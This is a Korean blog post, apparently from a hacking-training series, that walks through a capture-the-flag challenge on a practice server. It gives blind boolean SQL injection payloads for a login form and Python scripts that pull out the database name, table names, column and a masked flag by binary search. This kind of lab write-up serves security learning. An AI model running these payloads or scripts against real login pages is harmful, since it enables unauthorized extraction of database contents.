우선 mario/mariosuper로 로그인이 정상적으로 이루어지며 reapater에서는 로그인페이지로 돌아가는것을 확인 할 수 있다.
반면 로그인 실패시 창이 넘어가지 않는것과 더불어 Warming이 나오는 것을 볼 수 있다.
1.
mario'#/mariosuper입력 - > 로그인성공
mario'#/mariosuper입력 -> 로그인 실패
mario' and '1'='1/mariosuper 입력 -> 로그인 성공
select ? from ?? where ???=ID and ????=Password
select ? from ?? where ???=ID
위의 sql문과 Password를 검증하는 형태로 이루어진것으로 추측
2.
mario' and ('test'='test') and '1'='1/mariosuper -> 로그인 성공
mario' and ((select 'test')='test') and '1'='1/mariosuper -> 로그인 성공
mario' and (ascii(substring('test',1,1))>0) and '1'='1/mariosuper -> 로그인 성공
3. DB명 추출 : sqli_3
mario' and (ascii(substring((SQL),1,1))>0) and '1'='1
SQL=select database()
mario' and (ascii(substring((select database()),1,1))>115) and '1'='1
우선 order by를 통해 db 길이 추출
이후 db명 추출
이 과정을 아래의 파이썬 코드로 짜보았다.
import requests
url = "http://ctf.segfaulthub.com:9999/sqli_3/login.php"
# db길이
for t in range(1,100):
uid = f"mario' and (length(database())={t}) and '1'='1"
params = {
"UserId": uid,
"Password": "mariosuper",
"Submit": "Login"
}
response = requests.post(url, data=params)
if 'Warning' not in response.text:
t=t+1
break
# db명
for i in range(1,t):
SQL= f"select database()"
left, right = 33,126
while left <= right:
mid = (left + right) // 2
uid = f"mario' and (ascii(substring(({SQL}),{i},1))>{mid}) and '1'='1"
params = {
"UserId": uid,
"Password": "mariosuper",
"Submit": "Login"
}
response = requests.post(url, data=params)
if 'Warning' not in response.text:
left = mid + 1
elif 'Warning' in response.text:
right = mid - 1
else:
print ("error")
break
print(chr(mid), end='')
print('')
그 결과 db명은 rqli_3임을 알 수 있었다.
다만 mario' and ((database())='rqli_3') and '1'='1을 통해 확인 한 결과 db명이 다름을 알 수 있었다.
손으로 해본 겨로가 r이 아닌 s로 이분탐색 알고리즘에서 완료되지 않았을 떄 mid값이 정답일 경우 left 혹은 right값이 +-1의 오차가 발생하는 것을 볼 수 있었다.
따라서 다음과 같이 코드를 추가 수정하였다.
import requests
url = "http://ctf.segfaulthub.com:9999/sqli_3/login.php"
# db길이
for t in range(1,100):
uid = f"mario' and (length(database())={t}) and '1'='1"
params = {
"UserId": uid,
"Password": "mariosuper",
"Submit": "Login"
}
response = requests.post(url, data=params)
if 'Warning' not in response.text:
t=t+1
break
# db명
for i in range(1,t):
SQL= f"select database()"
left, right = 33,126
while left <= right:
mid = (left + right) // 2
uid = f"mario' and (ascii(substring(({SQL}),{i},1))>{mid}) and '1'='1"
params = {
"UserId": uid,
"Password": "mariosuper",
"Submit": "Login"
}
response = requests.post(url, data=params)
if 'Warning' not in response.text:
left = mid +1
elif 'Warning' in response.text:
right = mid -1
else:
print ("error")
break
uid = f"mario' and (ascii(substring(({SQL}),{i},1))={mid}) and '1'='1"
params = {
"UserId": uid,
"Password": "mariosuper",
"Submit": "Login"
}
response = requests.post(url, data=params)
if 'Warning' not in response.text:
print(chr(mid), end='')
elif 'Warning' in response.text:
uid = f"mario' and (ascii(substring(({SQL}),{i},1))={mid+1}) and '1'='1"
params = {
"UserId": uid,
"Password": "mariosuper",
"Submit": "Login"
}
response = requests.post(url, data=params)
if 'Warning' not in response.text:
print(chr(mid+1), end='')
elif 'Warning' not in response.text:
print(chr(mid-1), end='')
print('')
결과값이 sqli_3임을 확인하였다.
4. table명 추출
마찬가지로 table길이를 추출 한 뒤 table명을 추출한다.
다만 db명과 다르게 table명은 여러개이므로 table의 개수만큼 limit를 변경하는 for문도 포함시켰다.
SQL : select table_name from information_schema.tables where table_schema='sqli_3' limit 0,1
mario' and (ascii(substring((select table_name from information_schema.tables where table_schema='sqli_3' limit 0,1),1,1) )>0) and '1'='1
import requests
url = "http://ctf.segfaulthub.com:9999/sqli_3/login.php"
for c in range(0,100):
SQL= f"select table_name from information_schema.tables where table_schema='sqli_3' limit {c},1"
uid = f"mario' and (length(({SQL}))>0) and '1'='1"
params = {
"UserId": uid,
"Password": "mariosuper",
"Submit": "Login"
}
response = requests.post(url, data=params)
if 'Warning' in response.text:
print('더이상 결과값이 없습니다.')
break
elif 'Warning' not in response.text:
for t in range(1,100):
uid = f"mario' and (length({SQL})={t}) and '1'='1"
params = {
"UserId": uid,
"Password": "mariosuper",
"Submit": "Login"
}
response = requests.post(url, data=params)
if 'Warning' not in response.text:
t=t+1
break
for i in range(1,t):
left, right = 33,126
while left <= right:
mid = (left + right) // 2
uid = f"mario' and (ascii(substring(({SQL}),{i},1))>{mid}) and '1'='1"
params = {
"UserId": uid,
"Password": "mariosuper",
"Submit": "Login"
}
response = requests.post(url, data=params)
if 'Warning' not in response.text:
left = mid +1
elif 'Warning' in response.text:
right = mid -1
else:
print ("error")
break
uid = f"mario' and (ascii(substring(({SQL}),{i},1))={mid}) and '1'='1"
params = {
"UserId": uid,
"Password": "mariosuper",
"Submit": "Login"
}
response = requests.post(url, data=params)
if 'Warning' not in response.text:
print(chr(mid), end='')
elif 'Warning' in response.text:
uid = f"mario' and (ascii(substring(({SQL}),{i},1))={mid+1}) and '1'='1"
params = {
"UserId": uid,
"Password": "mariosuper",
"Submit": "Login"
}
response = requests.post(url, data=params)
if 'Warning' not in response.text:
print(chr(mid+1), end='')
elif 'Warning' not in response.text:
print(chr(mid-1), end='')
print('')
이 결과 table명은 다음과 같이 나왔다.
- flag_table
- member
mario' and ((select table_name from information_schema.tables where table_schema='sqli_3' limit 0,1)='flag_table') and '1'='1
위 sql문으로 확인결과 테이블 명이 정확한것을 확인하였다.
5.컬럼 명 추출
SQL : select column_name from information_schema.columns where table_name='flag_table' limit 0,1
컬럼명 : flag
6. 데이터 추출
SQL : select flag from flag_table limit 0,1
-> FLAG : segfault{B*************Y}
'Nomaltic's Hacking Traning!!' 카테고리의 다른 글
XSS 3 (0) | 2023.05.12 |
---|---|
DB데이터 추출 1,2,3 문제 풀이정리 (0) | 2023.05.02 |
db 데이터 추출 2 (0) | 2023.04.26 |
db 데이터 추출 1 (0) | 2023.04.26 |
Login Bypass 4 (1) | 2023.04.19 |